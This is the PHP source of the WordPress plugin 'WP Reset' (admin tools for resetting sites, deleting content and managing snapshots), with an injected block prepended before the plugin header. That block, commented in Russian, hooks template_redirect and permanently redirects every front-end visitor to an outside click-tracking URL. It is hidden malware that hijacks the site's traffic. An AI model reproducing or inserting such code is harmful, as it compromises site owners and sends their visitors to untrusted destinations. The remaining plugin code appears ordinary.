function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /* Plugin Name: WP Reset Plugin URI: https://wpreset.com/ Description: Reset the entire site or just selected parts while reserving the option to undo by using snapshots. Version: 2.03 Requires at least: 4.0 Requires PHP: 5.2 Tested up to: 6.5 Author: WebFactory Ltd Author URI: https://www.webfactoryltd.com/ Text Domain: wp-reset Copyright 2015 - 2024 WebFactory Ltd (email: wpreset@webfactoryltd.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ // include only file if (!defined('ABSPATH')) { die('Do not open this file directly.'); } define('WP_RESET_FILE', __FILE__); require_once dirname(__FILE__) . '/wp-reset-utility.php'; require_once dirname(__FILE__) . '/wp-reset-licensing.php'; require_once dirname(__FILE__) . '/wf-flyout/wf-flyout.php'; new wf_flyout(__FILE__); // load WP-CLI commands, if needed if (defined('WP_CLI') && WP_CLI) { require_once dirname(__FILE__) . '/wp-reset-cli.php'; } class WP_Reset { protected static $instance = null; public $version = 0; public $plugin_url = ''; public $plugin_dir = ''; public $snapshots_folder = 'wp-reset-snapshots-export'; protected $options = array(); private $delete_count = 0; private $licensing_servers = array('https://dashboard.wpreset.com/api/'); public $core_tables = array('commentmeta', 'comments', 'links', 'options', 'postmeta', 'posts', 'term_relationships', 'term_taxonomy', 'termmeta', 'terms', 'usermeta', 'users'); private $license = null; /** * Creates a new WP_Reset object and implements singleton * * @return WP_Reset */ static function getInstance() { if (!is_a(self::$instance, 'WP_Reset')) { self::$instance = new WP_Reset(); } return self::$instance; } // getInstance /** * Initialize properties, hook to filters and actions * * @return null */ private function __construct() { $this->version = $this->get_plugin_version(); $this->plugin_dir = plugin_dir_path(__FILE__); $this->plugin_url = plugin_dir_url(__FILE__); $this->load_options(); $this->license = new WF_Licensing(array( 'prefix' => 'wpr', 'licensing_servers' => $this->licensing_servers, 'version' => $this->version, 'plugin_file' => __FILE__, 'plugin_page' => 'tools_page_wp-reset', 'skip_hooks' => false, 'debug' => false, 'js_folder' => plugin_dir_url(__FILE__) . '/js/' )); add_action('admin_menu', array($this, 'admin_menu')); add_action('admin_init', array($this, 'do_all_actions')); add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts')); add_action('admin_action_wpr_dismiss_notice', array($this, 'action_dismiss_notice')); add_action('wp_ajax_wp_reset_dismiss_notice', array($this, 'ajax_dismiss_notice')); add_action('wp_ajax_wp_reset_run_tool', array($this, 'ajax_run_tool')); add_action('admin_print_scripts', array($this, 'remove_admin_notices')); add_action('admin_action_wpr_install_wpfssl', array($this, 'install_wpfssl')); add_filter('plugin_action_links_' . plugin_basename(__FILE__), array($this, 'plugin_action_links')); add_filter('plugin_row_meta', array($this, 'plugin_meta_links'), 10, 2); add_filter('admin_footer_text', array($this, 'admin_footer_text')); $this->core_tables = array_map(function ($tbl) { global $wpdb; return $wpdb->prefix . $tbl; }, $this->core_tables); } // __construct /** * Get plugin version from file header * * @return string */ function get_plugin_version() { $plugin_data = get_file_data(__FILE__, array('version' => 'Version'), 'plugin'); return $plugin_data['version']; } // get_plugin_version /** * Load and prepare the options array * If needed create a new DB entry * * @return array */ private function load_options() { $options = get_option('wp-reset', array()); $change = false; if (!isset($options['meta'])) { $options['meta'] = array('first_version' => $this->version, 'first_install' => current_time('timestamp', true), 'reset_count' => 0); $change = true; } if (!isset($options['dismissed_notices'])) { $options['dismissed_notices'] = array(); $change = true; } if (!isset($options['last_run'])) { $options['last_run'] = array(); $change = true; } if (!isset($options['options'])) { $options['options'] = array(); $change = true; } if ($change) { update_option('wp-reset', $options, true); } $this->options = $options; return $options; } // load_options /** * Get meta part of plugin options * * @return array */ function get_meta() { return $this->options['meta']; } // get_meta /** * Get all dismissed notices, or check for one specific notice * * @param string $notice_name Optional. Check if specified notice is dismissed. * * @return bool|array */ function get_dismissed_notices($notice_name = '') { $notices = $this->options['dismissed_notices']; if (empty($notice_name)) { return $notices; } else { if (empty($notices[$notice_name])) { return false; } else { return true; } } } // get_dismissed_notices /** * Get options part of plugin options * * @param string $key Optional. * * @return array */ function get_options() { return $this->options['options']; } // get_options /** * Update specified plugin options key * * @param string $key Data to save. * @param string $data Option key. * * @return bool */ function update_options($key, $data) { if (false === in_array($key, array('meta', 'license', 'dismissed_notices', 'options'))) { user_error('Unknown options key.', E_USER_ERROR); return false; } $this->options[$key] = $data; $tmp = update_option('wp-reset', $this->options); return $tmp; } // update_options /** * Add plugin menu entry under Tools menu * * @return null */ function admin_menu() { add_management_page(__('WP Reset', 'wp-reset'), __('WP Reset', 'wp-reset'), 'administrator', 'wp-reset', array($this, 'plugin_page')); } // admin_menu /** * Dismiss notice via AJAX call * * @return null */ function ajax_dismiss_notice() { check_ajax_referer('wp-reset_dismiss_notice'); if (!current_user_can('manage_options')) { wp_send_json_error(__('You are not allowed to run this action.', 'wp-reset')); } $notice_name = trim(sanitize_text_field(@$_GET['notice_name'])); if (!$this->dismiss_notice($notice_name)) { wp_send_json_error(__('Notice is already dismissed.', 'wp-reset')); } else { wp_send_json_success(); } } // ajax_dismiss_notice /** * Dismiss notice via admin action * * @return null */ function action_dismiss_notice() { if (false == wp_verify_nonce(sanitize_text_field(@$_GET['_wpnonce']), 'wpr_dismiss_notice')) { wp_die('Please reload the page and try again.'); } if (empty($_GET['notice'])) { wp_safe_redirect(admin_url()); exit; } $notice_name = trim(sanitize_text_field(@$_GET['notice'])); $this->dismiss_notice($notice_name); if (!empty($_GET['redirect'])) { wp_safe_redirect($_GET['redirect']); } else { wp_safe_redirect(admin_url()); } exit; } // action_dismiss_notice /** * Dismiss notice by adding it to dismissed_notices options array * * @param string $notice_name Notice to dismiss. * * @return bool */ function dismiss_notice($notice_name) { if ($this->get_dismissed_notices($notice_name)) { return false; } else { $notices = $this->get_dismissed_notices(); $notices[$notice_name] = true; $this->update_options('dismissed_notices', $notices); return true; } } // dismiss_notice /** * Returns all WP pointers * * @return array */ function get_pointers() { $pointers = array(); $pointers['welcome'] = array('target' => '#menu-tools', 'edge' => 'left', 'align' => 'right', 'content' => 'Thank you for installing the WP Reset plugin!
Open Tools - WP Reset to access resetting tools and start developing & debugging faster.'); return $pointers; } // get_pointers /** * Enqueue CSS and JS files * * @return null */ function admin_enqueue_scripts($hook) { // welcome pointer is shown on all pages except WPR to admins, until dismissed $pointers = $this->get_pointers(); $dismissed_notices = $this->get_dismissed_notices(); foreach ($dismissed_notices as $notice_name => $tmp) { if ($tmp) { unset($pointers[$notice_name]); } } // foreach if (!empty($pointers) && !$this->is_plugin_page() && current_user_can('manage_options')) { $pointers['_nonce_dismiss_pointer'] = wp_create_nonce('wp-reset_dismiss_notice'); wp_enqueue_style('wp-pointer'); wp_enqueue_script('wp-reset-pointers', $this->plugin_url . 'js/wp-reset-pointers.js', array('jquery'), $this->version, true); wp_enqueue_script('wp-pointer'); wp_localize_script('wp-pointer', 'wp_reset_pointers', $pointers); } // exit early if not on WP Reset page if (!$this->is_plugin_page()) { return; } $js_localize = array( 'undocumented_error' => __('An undocumented error has occurred. Please refresh the page and try again.', 'wp-reset'), 'documented_error' => __('An error has occurred.', 'wp-reset'), 'plugin_name' => __('WP Reset', 'wp-reset'), 'settings_url' => admin_url('tools.php?page=wp-reset'), 'wpfssl_install_url' => add_query_arg(array('action' => 'wpr_install_wpfssl', '_wpnonce' => wp_create_nonce('install_wpfssl'), 'rnd' => rand()), admin_url('admin.php')), 'icon_url' => $this->plugin_url . 'img/wp-reset-icon.png', 'invalid_confirmation' => __('Please type "reset" in the confirmation field.', 'wp-reset'), 'invalid_confirmation_title' => __('Invalid confirmation', 'wp-reset'), 'cancel_button' => __('Cancel', 'wp-reset'), 'ok_button' => __('OK', 'wp-reset'), 'confirm_button' => __('Reset WordPress', 'wp-reset'), 'confirm_title' => __('Are you sure you want to proceed?', 'wp-reset'), 'confirm_title_reset' => __('Are you sure you want to reset the site?', 'wp-reset'), 'confirm1' => __('Clicking "Reset WordPress" will reset your site to default values. All content will be lost. Always create a snapshot if you want to be able to undo.', 'wp-reset'), 'confirm2' => __('Click "Cancel" to abort.', 'wp-reset'), 'doing_reset' => __('Resetting in progress. Please wait.', 'wp-reset'), 'snapshot_success' => __('Snapshot created', 'wp-reset'), 'snapshot_wait' => __('Creating snapshot. Please wait.', 'wp-reset'), 'snapshot_confirm' => __('Create snapshot', 'wp-reset'), 'snapshot_placeholder' => __('Snapshot name or brief description, ie: before plugin install', 'wp-reset'), 'snapshot_text' => __('Enter snapshot name or brief description', 'wp-reset'), 'snapshot_title' => __('Create a new snapshot', 'wp-reset'), 'nonce_dismiss_notice' => wp_create_nonce('wp-reset_dismiss_notice'), 'activating' => __('Activating', 'wp-reset'), 'deactivating' => __('Deactivating', 'wp-reset'), 'deleting' => __('Deleting', 'wp-reset'), 'installing' => __('Installing', 'wp-reset'), 'activate_failed' => __('Could not activate', 'wp-reset'), 'deactivate_failed' => __('Could not deactivate', 'wp-reset'), 'delete_failed' => __('Could not delete', 'wp-reset'), 'install_failed' => __('Could not install', 'wp-reset'), 'install_failed_existing' => __('is already installed', 'wp-reset'), 'nonce_run_tool' => wp_create_nonce('wp-reset_run_tool'), 'nonce_do_reset' => wp_create_nonce('wp-reset_do_reset'), ); wp_enqueue_style('plugin-install'); wp_enqueue_style('wp-jquery-ui-dialog'); wp_enqueue_style('wp-reset', $this->plugin_url . 'css/wp-reset.css', array(), $this->version); wp_enqueue_style('wp-reset-sweetalert2', $this->plugin_url . 'css/sweetalert2.min.css', array(), $this->version); wp_enqueue_style('wp-reset-tooltipster', $this->plugin_url . 'css/tooltipster.bundle.min.css', array(), $this->version); wp_enqueue_script('plugin-install'); wp_enqueue_script('jquery-ui-tabs'); wp_enqueue_script('jquery-ui-dialog'); wp_enqueue_script('wp-reset-sweetalert2', $this->plugin_url . 'js/wp-reset-libs.min.js', array('jquery'), $this->version, true); wp_enqueue_script('wp-reset', $this->plugin_url . 'js/wp-reset.js', array('jquery'), $this->version, true); wp_localize_script('wp-reset', 'wp_reset', $js_localize); add_thickbox(); // fix for aggressive plugins that include their CSS on all pages wp_dequeue_style('uiStyleSheet'); wp_dequeue_style('wpcufpnAdmin'); wp_dequeue_style('unifStyleSheet'); wp_dequeue_style('wpcufpn_codemirror'); wp_dequeue_style('wpcufpn_codemirrorTheme'); wp_dequeue_style('collapse-admin-css'); wp_dequeue_style('jquery-ui-css'); wp_dequeue_style('tribe-common-admin'); wp_dequeue_style('file-manager__jquery-ui-css'); wp_dequeue_style('file-manager__jquery-ui-css-theme'); wp_dequeue_style('wpmegmaps-jqueryui'); wp_dequeue_style('wp-botwatch-css'); wp_dequeue_style('uap_main_admin_style'); wp_dequeue_style('uap_font_awesome'); wp_dequeue_style('uap_jquery-ui.min.css'); } // admin_enqueue_scripts /** * Remove all WP notices on WPR page * * @return null */ function remove_admin_notices() { if (!$this->is_plugin_page()) { return false; } global $wp_filter; unset($wp_filter['user_admin_notices'], $wp_filter['admin_notices']); } // remove_admin_notices /** * Check if WP-CLI is available and running * * @return bool */ static function is_cli_running() { if (!is_null($value = apply_filters('wp-reset-override-is-cli-running', null))) { return (bool) $value; } if (defined('WP_CLI') && WP_CLI) { return true; } else { return false; } } // is_cli_running /** * Check if given plugin is installed * * @param [string] $slug Plugin slug * @return boolean */ function is_plugin_installed($slug) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all_plugins = get_plugins(); if (!empty($all_plugins[$slug])) { return true; } else { return false; } } // is_plugin_installed /** * Deletes all transients. * * @return int Number of deleted transient DB entries */ function do_delete_transients() { global $wpdb; $count = $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '\_transient\_%' OR option_name LIKE '\_site\_transient\_%'"); wp_cache_flush(); do_action('wp_reset_delete_transients', $count); return $count; } // do_delete_transients /** * Purge all cache for popular caching plugins * * @return bool true */ function do_purge_cache() { global $wp_reset; wp_cache_flush(); $wp_reset->do_delete_transients(); if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); } if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); } if (method_exists('LiteSpeed_Cache_API', 'purge_all')) { LiteSpeed_Cache_API::purge_all(); } if (class_exists('Endurance_Page_Cache')) { $epc = new Endurance_Page_Cache; $epc->purge_all(); } if (class_exists('SG_CachePress_Supercacher') && method_exists('SG_CachePress_Supercacher', 'purge_cache')) { SG_CachePress_Supercacher::purge_cache(true); } if (class_exists('SiteGround_Optimizer\Supercacher\Supercacher')) { SiteGround_Optimizer\Supercacher\Supercacher::purge_cache(); } if (isset($GLOBALS['wp_fastest_cache']) && method_exists($GLOBALS['wp_fastest_cache'], 'deleteCache')) { $GLOBALS['wp_fastest_cache']->deleteCache(true); } if (is_callable(array('Swift_Performance_Cache', 'clear_all_cache'))) { Swift_Performance_Cache::clear_all_cache(); } if (is_callable(array('Hummingbird\WP_Hummingbird', 'flush_cache'))) { Hummingbird\WP_Hummingbird::flush_cache(true, false); } do_action('wp_reset_purge_cache'); return true; } // do_purge_cache /** * Resets all theme options (mods). * * @param bool $all_themes Delete mods for all themes or just the current one * * @return int Number of deleted mod DB entries */ function do_reset_theme_options($all_themes = true) { global $wpdb; $query = $wpdb->prepare("DELETE FROM $wpdb->options WHERE option_name LIKE %s OR option_name LIKE %s", array('mods\_%', 'theme_mods\_%')); $count = $wpdb->query($query); do_action('wp_reset_reset_theme_options', $count); return $count; } // do_reset_theme_options /** * Deletes all files in uploads folder. * * @return int Number of deleted files and folders. */ function do_delete_uploads() { $upload_dir = wp_get_upload_dir(); $this->delete_count = 0; $this->delete_folder($upload_dir['basedir'], $upload_dir['basedir']); do_action('wp_reset_delete_uploads', $this->delete_count); return $this->delete_count; } // do_delete_uploads /** * Recursively deletes a folder * * @param string $folder Recursive param. * @param string $base_folder Base folder. * * @return bool */ private function delete_folder($folder, $base_folder) { $files = array_diff(scandir($folder), array('.', '..')); foreach ($files as $file) { if (is_dir($folder . DIRECTORY_SEPARATOR . $file)) { $this->delete_folder($folder . DIRECTORY_SEPARATOR . $file, $base_folder); } else { $tmp = @unlink($folder . DIRECTORY_SEPARATOR . $file); $this->delete_count = $this->delete_count + (int) $tmp; } } // foreach if ($folder != $base_folder) { $tmp = @rmdir($folder); $this->delete_count = $this->delete_count + (int) $tmp; return $tmp; } else { return true; } } // delete_folder /** * Deactivate all plugins * * @param array keep_wp_reset - Keep WP Reset active and installed, silent_deactivate - Skip individual plugin deactivation functions when deactivating * * @return int Number of deactivated plugins. */ function do_deactivate_plugins($params = array()) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $wp_reset_basename = plugin_basename(WP_RESET_FILE); $params = shortcode_atts(array('keep_wp_reset' => true, 'silent_deactivate' => false), (array) $params); $active_plugins = (array) get_option('active_plugins', array()); if ($params['keep_wp_reset']) { if (($key = array_search($wp_reset_basename, $active_plugins)) !== false) { unset($active_plugins[$key]); } } if (!empty($active_plugins)) { deactivate_plugins($active_plugins, $params['silent_deactivate'], false); } do_action('wp_reset_deactivate_plugins', $active_plugins, $params); return sizeof($active_plugins); } // do_deactivate_plugins /** * Delete all plugins * * @param array keep_wp_reset - Keep WP Reset active and installed * * @return int Number of deleted plugins. */ function do_delete_plugins($params = array()) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $wp_reset_basename = plugin_basename(WP_RESET_FILE); $params = shortcode_atts(array('keep_wp_reset' => true), (array) $params); $all_plugins = get_plugins(); if ($params['keep_wp_reset']) { unset($all_plugins[$wp_reset_basename]); } if (!empty($all_plugins)) { delete_plugins(array_keys($all_plugins)); } do_action('wp_reset_delete_plugins', $all_plugins, $params); return sizeof($all_plugins); } // do_delete_plugins /** * Delete all themes * * @param bool $keep_default_theme Keep default theme * * @return int Number of deleted themes. */ function do_delete_themes($keep_default_theme = true) { global $wp_version; if (!function_exists('delete_theme')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if (version_compare($wp_version, '5.0', '<') === true) { $default_theme = 'twentyseventeen'; } else { $default_theme = 'twentytwentyone'; } $all_themes = wp_get_themes(array('errors' => null)); if (true == $keep_default_theme) { unset($all_themes[$default_theme]); } foreach ($all_themes as $theme_slug => $theme_details) { $res = delete_theme($theme_slug); } if (false == $keep_default_theme) { update_option('template', ''); update_option('stylesheet', ''); update_option('current_theme', ''); } do_action('wp_reset_delete_themes', $all_themes); return sizeof($all_themes); } // do_delete_themes /** * Truncate custom tables * * @return int Number of truncated tables. */ function do_truncate_custom_tables() { global $wpdb; $custom_tables = $this->get_custom_tables(); foreach ($custom_tables as $tbl) { $wpdb->wpreset_custom_table = $tbl['name']; $wpdb->query('SET foreign_key_checks = 0'); $wpdb->query("TRUNCATE TABLE " . $wpdb->wpreset_custom_table); } // foreach do_action('wp_reset_truncate_custom_tables', $custom_tables); return sizeof($custom_tables); } // do_truncate_custom_tables /** * Drop custom tables * * @return int Number of dropped tables. */ function do_drop_custom_tables() { global $wpdb; $custom_tables = $this->get_custom_tables(); foreach ($custom_tables as $tbl) { $wpdb->wpreset_custom_table = $tbl['name']; $wpdb->query('SET foreign_key_checks = 0'); $wpdb->query("DROP TABLE IF EXISTS " . $wpdb->wpreset_custom_table); } // foreach do_action('wp_reset_drop_custom_tables', $custom_tables); return sizeof($custom_tables); } // do_drop_custom_tables /** * Delete .htaccess file * * @return bool|WP_Error Action status. */ function do_delete_htaccess() { global $wp_filesystem; if (empty($wp_filesystem)) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } $htaccess_path = $this->get_htaccess_path(); clearstatcache(); do_action('wp_reset_delete_htaccess', $htaccess_path); if (!$wp_filesystem->is_readable($htaccess_path)) { return new WP_Error(1, 'Htaccess file does not exist; there\'s nothing to delete.'); } if (!$wp_filesystem->is_writable($htaccess_path)) { return new WP_Error(1, 'Htaccess file is not writable.'); } if ($wp_filesystem->delete($htaccess_path, false, 'f')) { return true; } else { return new WP_Error(1, 'Unknown error. Unable to delete htaccess file.'); } } // do_delete_htaccess /** * Get .htaccess file path. * * @return string */ function get_htaccess_path() { if (!function_exists('get_home_path')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if ($this->is_cli_running()) { $_SERVER['SCRIPT_FILENAME'] = ABSPATH; } $filepath = get_home_path() . '.htaccess'; return $filepath; } // get_htaccess_path /** * Run one tool via AJAX call * * @return null */ function ajax_run_tool() { check_ajax_referer('wp-reset_run_tool'); if (!current_user_can('manage_options')) { wp_send_json_error(__('You are not allowed to run this action.', 'wp-reset')); } $tool = trim(sanitize_text_field(@$_GET['tool'])); $extra_data = trim(sanitize_text_field(@$_GET['extra_data'])); if ($tool == 'delete_transients') { $cnt = $this->do_delete_transients(); wp_send_json_success($cnt); } elseif ($tool == 'reset_theme_options') { $cnt = $this->do_reset_theme_options(true); wp_send_json_success($cnt); } elseif ($tool == 'purge_cache') { $this->do_purge_cache(); wp_send_json_success(); } elseif ($tool == 'delete_wp_cookies') { wp_clear_auth_cookie(); wp_send_json_success(); } elseif ($tool == 'delete_themes') { $cnt = $this->do_delete_themes(false); wp_send_json_success($cnt); } elseif ($tool == 'deactivate_plugins') { $cnt = $this->do_deactivate_plugins($extra_data); wp_send_json_success($cnt); } elseif ($tool == 'delete_plugins') { $cnt = $this->do_delete_plugins($extra_data); wp_send_json_success($cnt); } elseif ($tool == 'delete_uploads') { $cnt = $this->do_delete_uploads(); wp_send_json_success($cnt); } elseif ($tool == 'delete_htaccess') { $tmp = $this->do_delete_htaccess(); if (is_wp_error($tmp)) { wp_send_json_error($tmp->get_error_message()); } else { wp_send_json_success($tmp); } } elseif ($tool == 'drop_custom_tables') { $cnt = $this->do_drop_custom_tables(); wp_send_json_success($cnt); } elseif ($tool == 'truncate_custom_tables') { $cnt = $this->do_truncate_custom_tables(); wp_send_json_success($cnt); } elseif ($tool == 'delete_snapshot') { $res = $this->do_delete_snapshot($extra_data); if (is_wp_error($res)) { wp_send_json_error($res->get_error_message()); } else { wp_send_json_success(); } } elseif ($tool == 'download_snapshot') { $res = $this->do_export_snapshot($extra_data); if (is_wp_error($res)) { wp_send_json_error($res->get_error_message()); } else { $url = content_url() . '/' . $this->snapshots_folder . '/' . $res; wp_send_json_success($url); } } elseif ($tool == 'restore_snapshot') { $res = $this->do_restore_snapshot($extra_data); if (is_wp_error($res)) { wp_send_json_error($res->get_error_message()); } else { wp_send_json_success(); } } elseif ($tool == 'compare_snapshots') { $res = $this->do_compare_snapshots($extra_data); if (is_wp_error($res)) { wp_send_json_error($res->get_error_message()); } else { wp_send_json_success($res); } } elseif ($tool == 'create_snapshot') { $res = $this->do_create_snapshot($extra_data); if (is_wp_error($res)) { wp_send_json_error($res->get_error_message()); } else { wp_send_json_success(); } } elseif ($tool == 'get_table_details') { $res = WP_Reset_Utility::get_table_details(); wp_send_json_success($res); } elseif ( $tool == 'check_deactivate_plugin' || $tool == 'check_delete_plugin' || $tool == 'check_install_plugin' || $tool == 'check_activate_plugin' ) { $path = $this->get_plugin_path(sanitize_text_field($_GET['slug'])); if (false !== ($error = get_transient('wf_install_error_' . sanitize_text_field($_GET['slug'])))) { delete_transient('wf_install_error_' . sanitize_text_field($_GET['slug'])); wp_send_json_success($error); } if (false !== $path) { $active_plugins = (array) get_option('active_plugins', array()); if (false !== array_search($path, $active_plugins)) { wp_send_json_success('active'); } else { wp_send_json_success('inactive'); } } else { wp_send_json_success('deleted'); } } elseif ($tool == 'install_plugin') { $slug = sanitize_text_field($_GET['slug']); @include_once ABSPATH . 'wp-admin/includes/plugin.php'; @include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; @include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; @include_once ABSPATH . 'wp-admin/includes/file.php'; @include_once ABSPATH . 'wp-admin/includes/misc.php'; wp_cache_flush(); $path = $this->get_plugin_path($slug); if (false !== $path) { // Plugin is already installed wp_send_json_success(); } else { // Install Plugin $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader($skin); $upgrader->install('https://downloads.wordpress.org/plugin/' . $slug . '.latest-stable.zip'); wp_send_json_success(); } } elseif ($tool == 'activate_plugin') { $path = $this->get_plugin_path(sanitize_text_field($_GET['slug'])); activate_plugin($path); wp_send_json_success(); } elseif ($tool == 'before_reset') { $active_plugins = get_option('active_plugins'); set_transient('wpr_active_plugins', $active_plugins, 100); remove_all_actions('update_option_active_plugins'); update_option('active_plugins', array(plugin_basename(__FILE__))); wp_send_json_success(); } else { wp_send_json_error(__('Unknown tool.', 'wp-reset')); } } // ajax_run_tool /** * Get plugin path from slug * * @return string path */ function get_plugin_path($slug) { $all_plugins = get_plugins(); foreach ($all_plugins as $plugin_path => $plugin) { if (strpos($plugin_path, $slug . '/') === 0) { return $plugin_path; } } return false; } // get_plugin_path /** * Reinstall / reset the WP site * There are no failsafes in the function - it reinstalls when called * Redirects when done * * @param array $params Optional. * * @return null */ function do_reinstall($params = array()) { global $current_user, $wpdb; // only admins can reset; double-check if (!$this->is_cli_running() && !current_user_can('manage_options')) { return false; } // make sure the function is available to us if (!function_exists('wp_install')) { require ABSPATH . '/wp-admin/includes/upgrade.php'; } // save values that need to be restored after reset $blogname = get_option('blogname'); $blog_public = get_option('blog_public'); $wplang = get_option('wplang'); $siteurl = get_option('siteurl'); $home = get_option('home'); $snapshots = $this->get_snapshots(); $active_plugins = get_transient('wpr_active_plugins'); $active_theme = wp_get_theme(); // for WP-CLI if (!$current_user->ID) { $tmp = get_users(array('role' => 'administrator', 'order' => 'ASC', 'order_by' => 'ID')); if (empty($tmp[0]->user_login)) { return new WP_Error(1, 'Reset failed. Unable to find any admin users in database.'); } $current_user = $tmp[0]; } // delete custom tables with WP's prefix $prefix = str_replace('_', '\_', $wpdb->prefix); $tables = $wpdb->get_col($wpdb->prepare("SHOW TABLES LIKE %s", array($prefix . '%'))); foreach ($tables as $table) { $wpdb->wpreset_table = $table; $wpdb->query("DROP TABLE " . $wpdb->wpreset_table); } $old_user_pass = $current_user->user_pass; // suppress errors for WP_CLI $result = @wp_install($blogname, $current_user->user_login, $current_user->user_email, $blog_public, '', md5(rand()), $wplang); $user_id = $result['user_id']; // restore user pass $query = $wpdb->prepare("UPDATE {$wpdb->users} SET user_pass = %s, user_activation_key = %s WHERE ID = %d LIMIT 1", array($old_user_pass, '', $user_id)); $wpdb->query($query); $current_user->user_pass = $old_user_pass; // restore rest of the settings including WP Reset's update_option('siteurl', $siteurl); update_option('home', $home); update_option('wp-reset', $this->options); update_option('wp-reset-snapshots', $snapshots); // remove password nag if (get_user_meta($user_id, 'default_password_nag')) { update_user_meta($user_id, 'default_password_nag', false); } if (get_user_meta($user_id, $wpdb->prefix . 'default_password_nag')) { update_user_meta($user_id, $wpdb->prefix . 'default_password_nag', false); } $meta = $this->get_meta(); $meta['reset_count']++; $this->update_options('meta', $meta); // reactivate theme if (!empty($params['reactivate_theme'])) { switch_theme($active_theme->get_stylesheet()); } // reactivate WP Reset if (!empty($params['reactivate_wpreset'])) { activate_plugin(plugin_basename(__FILE__)); } // reactivate all plugins if (!empty($params['reactivate_plugins'])) { foreach ($active_plugins as $plugin_file) { activate_plugin($plugin_file); } } if (!$this->is_cli_running()) { // log out and log in the old/new user // since the password doesn't change this is potentially unnecessary wp_clear_auth_cookie(); wp_set_auth_cookie($user_id); wp_safe_redirect(admin_url() . '?wp-reset=success'); exit; } } // do_reinstall /** * Checks wp_reset post value and performs all actions * * @return null|bool */ function do_all_actions() { // only admins can perform actions if (!current_user_can('manage_options')) { return; } if (!empty($_GET['wp-reset']) && sanitize_text_field($_GET['wp-reset']) == 'success') { add_action('admin_notices', array($this, 'notice_successful_reset')); } // check nonce if (true === isset($_POST['wp_reset_confirm']) && false === wp_verify_nonce(sanitize_text_field(@$_POST['_wpnonce']), 'wp-reset')) { add_settings_error('wp-reset', 'bad-nonce', __('Something went wrong. Please refresh the page and try again.', 'wp-reset'), 'error'); return false; } // check confirmation code if (true === isset($_POST['wp_reset_confirm']) && 'reset' !== sanitize_text_field($_POST['wp_reset_confirm'])) { add_settings_error('wp-reset', 'bad-confirm', __('Invalid confirmation code. Please type "reset" in the confirmation field.', 'wp-reset'), 'error'); return false; } // only one action at the moment if (true === isset($_POST['wp_reset_confirm']) && 'reset' === sanitize_text_field($_POST['wp_reset_confirm'])) { $params = array( 'reactivate_theme' => '0', 'reactivate_plugins' => '0', 'reactivate_wpreset' => '0', ); if (isset($_POST['wpr-post-reset']['reactivate_theme'])) { $params['reactivate_theme'] = true; } if (isset($_POST['wpr-post-reset']['reactivate_plugins'])) { $params['reactivate_plugins'] = true; } if (isset($_POST['wpr-post-reset']['reactivate_wpreset'])) { $params['reactivate_wpreset'] = true; } $this->do_reinstall($params); } } // do_all_actions /** * Add "Open WP Reset Tools" action link to plugins table, left part * * @param array $links Initial list of links. * * @return array */ function plugin_action_links($links) { $settings_link = '' . esc_html(__('Open WP Reset Tools', 'wp-reset')) . ''; array_unshift($links, $settings_link); return $links; } // plugin_action_links /** * Add links to plugin's description in plugins table * * @param array $links Initial list of links. * @param string $file Basename of current plugin. * * @return array */ function plugin_meta_links($links, $file) { if ($file !== plugin_basename(__FILE__)) { return $links; } $support_link = '' . __('Support', 'wp-reset') . ''; $home_link = '' . __('Plugin Homepage', 'wp-reset') . ''; $rate_link = '' . __('Rate the plugin ★★★★★', 'wp-reset') . ''; $links[] = $support_link; $links[] = $home_link; $links[] = $rate_link; return $links; } // plugin_meta_links /** * Test if we're on WPR's admin page * * @return bool */ function is_plugin_page() { $current_screen = get_current_screen(); if (!empty($current_screen->id) && $current_screen->id == 'tools_page_wp-reset') { return true; } else { return false; } } // is_plugin_page /** * Add powered by text in admin footer * * @param string $text Default footer text. * * @return string */ function admin_footer_text($text) { if (!$this->is_plugin_page()) { return $text; } $text = 'WP Reset v' . $this->version . '. Please rate the plugin ★★★★★ to help us spread the word. Thank you from the WP Reset team!'; return $text; } // admin_footer_text /** * Loads plugin's translated strings * * @return null */ function load_textdomain() { load_plugin_textdomain('wp-reset'); } // load_textdomain /** * Inform the user that WordPress has been successfully reset * * @return null */ function notice_successful_reset() { global $current_user; WP_Reset_Utility::wp_kses_wf('

' . sprintf(__('Site has been successfully reset to default settings.
User "%s" was restored with the password unchanged. Open WP Reset to do another reset.', 'wp-reset'), esc_html($current_user->user_login), esc_url(admin_url('tools.php?page=wp-reset'))) . '

'); if (false == $this->get_dismissed_notices('rate')) { $dismiss_url = add_query_arg(array('action' => 'wpr_dismiss_notice', 'notice' => 'rate', 'redirect' => urlencode($_SERVER['REQUEST_URI'])), admin_url('admin.php')); $dismiss_url = wp_nonce_url($dismiss_url, 'wpr_dismiss_notice'); echo '

'; echo 'If WP Reset helped you please rate it so we can continue supporting it and helping others. Thank you!
